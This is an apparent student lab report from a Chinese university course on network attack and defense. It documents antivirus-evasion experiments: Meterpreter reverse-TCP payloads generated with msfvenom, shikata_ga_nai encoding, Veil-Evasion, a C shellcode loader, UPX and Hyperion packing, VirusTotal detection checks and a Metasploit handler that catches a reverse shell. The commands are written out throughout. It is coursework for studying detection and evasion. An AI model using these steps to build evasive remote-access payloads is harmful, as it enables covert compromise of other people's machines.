20232308 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
1.1 实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 本周学习内容
本周学习了关于免杀原理以及相应的技术,介绍了通过什么样的方式对恶意软件进行处理可以是其不被杀毒软件所检测
1.3 问题回答
(1)杀软是如何检测出恶意代码的?
- 特征码检测
恶意代码会留下独特的痕迹,比如一段特定的二进制代码、字符串或哈希值。杀软内置病毒特征库,将待检测文件与库中特征比对,一旦匹配就判定为恶意代码。 - 行为分析检测
不依赖预设特征,而是监控程序运行后的行为。如果程序出现恶意操作,杀软会判定其为恶意代码并拦截
(2)免杀是做什么?
目的是让恶意代码例如病毒、木马、远控程序绕过杀毒软件的检测和拦截,能在目标设备上正常运行。
(3)免杀的基本方法有哪些?
- 修改特征码
对恶意代码的二进制内容做微小修改,比如替换无关字符、调整代码顺序,不影响功能但改变特征码。 - 用加壳工具给恶意代码加壳,让杀软看不到原始特征
- 伪装行为,降低恶意行为的存在感,分时段执行操作或者模仿正常程序的联网规律。绑定到正常软件中,借助正常程序的 “信任度” 掩盖自身行为。
利用杀软漏洞 - 针对特定杀软的检测漏洞(如特征库未覆盖的盲区、行为分析的判定逻辑缺陷),设计恶意代码,让杀软无法识别。
2.实验过程
2.1 实验准备
查看主机和虚拟机的ip地址


2.2 使用msfvenom命令学习生成payload
(1)普通生成payload
输入命令msfvenom -p windows/meterpreter/reverse tcp LHoST=192.168.78.134 PORT=2308 -f exe >t320232308.exe

将生成好的文件放入网站https://www.virustotal.com/gui/home/upload

可以将这个查出率作为参照,以此来查看后续免杀效果如何
(2)使用编码器对payload进行一次编码
输入指令msfvenom -p windows/meterpreter/reverse tcp -e x86/shikata ga nai -b '\x00'LHOST=172.16.78.134 LPORT=2308 -f exe > t3 encoded 20232308.exe


从结果我们可以看到一次编码对于查出率几乎没什么影响
(3)对payload进行多次编码
输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10b'\x00' LHOST=172.16.78.134 LPORT=2308 -f exe > t3-10encoded 20232308.exe


从结果来看,编码十次的效果也不是很显著,几乎没影响
(4)生成jar文件和编码的jar文件
输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.78.134 LPORT=2308 x>t3 jar20232308.jar
利用命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHosT=192.168.78.134 LPORT=2308 x>t3 10jar20232308.jar来进行编码



通过结果我们发现jar的免杀效果要强于exe文件,但是对jar类型payload进行编码后得出的结果我发现和不编码的免杀效果基本一直
(5)生成php文件和编码的php文件
输入命令msfvenom -p java/meterpreter/reverse tcp LHOsT=192.168.78.134 LPORT=2308x>t3 php20232308.php来生成php文件
输入msfvenom -p java/meterpreter/reverse tcp -e x86/shikata ga nai -i 10 LHosT=192.168.78.134 LPORT=2308 x>t3 10php20232308.php来对其进行编码,生成编码的php文件



不难发现php的免杀效果还是可以的,但是编码和不编码的区别不大,二者免杀能力相似
(6)生成elf文件和编码的elf文件
输入命令msfvenom -p java/meterpreter/reverse tcp LHosT=192.168.78.134 LPORT=2308x>t3 elf20232308.elf来生成elf文件
输入imsfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga nai -i 10 LHosT=192.168.78.134 LPORT=2308 x>t3 10elf20232308.elf来生成编码的elf文件

得到的检出率均为30/64,可以看出相较于jar和php,elf的查杀效果要更好
2.3 使用veil工具生成
直接使用sudo apt -y install veil下载,会发现需要时间过长,此处通过20232327杨文贤同学的帮助,通过使用从github上克隆veil代码库的方法进行安装
安装相关依赖sudo apt install -y git curl wine python3 python3-pip mingw-w64
克隆Veil代码库git clone https://github.com/Veil-Framework/Veil.git
进入Veil目录cd Veil/config
使用vi setup.sh来编辑,将veil的源从github换成gitee可以大大缩短下载时间https://gitee.com/spears/VeilDependencies.git



可以看到此处已经安装成功
输入use evasion,进入Veil—Evasion
选用c/meterpretermrev_tcp.py

依次输入命令
set LHOST 192.168.78.134
set LPORT 2308
generate
并且将文件命名为payload20232308,按回车之后会弹出生成成功的标签,并且会附带文件的地址

按照地址寻找,发现已经成功生成了文件payload20232308.exe

进行查杀之后发现效果并不理想(很奇怪)

2.4 使用C+shellcode编程
输入指令windows/meterpreter/reverse tcp LHOsT=192.168.78.134 LPORT=2308 -f C并且复制unsigned char buf[]后面的内容

输入vi 20232308c_sh.c,并加入main函数

编译,编译后将结果进行查杀检测


此处根据结果分析,效果仍然不是很明显
2.5 尝试upx压缩壳和试hyperion加密壳
(1)upx压缩壳
输入指令upx 20232308c sh.exe0 20232308c_shupx.exe对文件进行压缩加壳

检测结果并不好,经过思考我认为是因为目前大部分的查杀对壳都比较敏感
(2)hyperion
输入命令cp 20232308c_sh.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v 20232308c_sh.exe 20232308c_sh hyp.exe
将加密文件放入工作目录下并加密

进行检测

通过结果分析,数值反而升高了,更说明壳已经被大部分公司广泛记录
2.6 进行技术组合应用
使用msfvenom工具来生成一个攻击载荷,输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00’LHOST=192168.78.134 LPORT=2308f>20232308_sh.c
使用vi工具,在生成的文件中加入main函数如下。
int main(){ int (func)() = (int()())buf; func(); }
使用MinGW-w64编译该源文件。
i686-w64-mingw32-g++ 20232308 shellcode.c -0 20232308 shellcode.exe
使用upx加一层压缩壳。
upx 20232308 shellcode.exe -0 20232308 shellcode upx.exe
使用hyperion加一层加密壳。
wine hyperion.exe -v 20232308_shellcode_upx.exe 20232308_shellcode_upx_hyp.exe

将生成的文件传入主机,用火绒进行扫描,病毒被发现

观察到生成的含有hyperion加密壳的效果不理想,分别测试了加壳与否


发现不加壳的效果会显著提高
2.7 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
考虑到在2.6这一步时,我的杀软成果的将该病毒查杀,因此在做这一步的时候我将杀软关闭
输入msfconsole打开控制台,逐条输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 1192.168.78.134
set LPORT 2308
exploit
可以看到成功获得了主机的shell

3.问题及解决方案
-
问题1:无法安装veil
-
问题1解决方案:通过询问ai以及在同学们的帮助下通过换源的方式成功解决了问题,具体代码见上文
-
问题2:在最后一步回连运行文件时会报错
![d97bfcc21a057bbd5b9c648505581f3b]()
-
问题2解决方案:查阅相关资料以及询问ai后我知道可以在https://www.dll-files.com/libgcc_s_dw2-1.dll.html下载该文件并且放入系统目录中,即可解决问题
-
问题3:通过多种免杀工具所构建的恶意程序很容易就被我的杀毒软件检测出来了
-
问题3解决方案:经过思考我认为是由于随着技术的不断发展,我用于构建恶意工具的免杀工具早就被杀软重点标记,因此很容易就被查杀
4.学习感悟、思考等
通过本次实验,我收获颇丰,我尝试了各种免杀工具与技巧,包括msf编码器、veil、加壳工具的使用,C+shellcode编程方法,各种免杀方法的组合运用等等,在这个过程中是我不仅对课内所学知识点产生了更深刻的印象,也对于免杀这项技术有了更浓厚的兴趣
实验过程不是一帆风顺的,无论是从下载veil时不明所以的报错还是到后来回连时候的报错,但是好在有同学们以及ai工具的帮助,最终还是顺利的完成了任务,在整个的过程中很好的锻炼了我的分析问题、解决问题的能力以及与他人沟通问题的能力
同时我也对免杀技术有了更深刻的体会,感受到现在杀毒软件的强大,或许是因为实验涉及的免杀技巧已经存在了很久,所以没有办法达到特别好的免杀效果,但是虽然技术的发展,以后肯定会出现更加先进更加难以被察觉的免杀技术出现,这也对我们的网络攻防技术提出了更高的要求,因此我们要时刻保持警惕,保护好自己的设备安全

浙公网安备 33010602011771号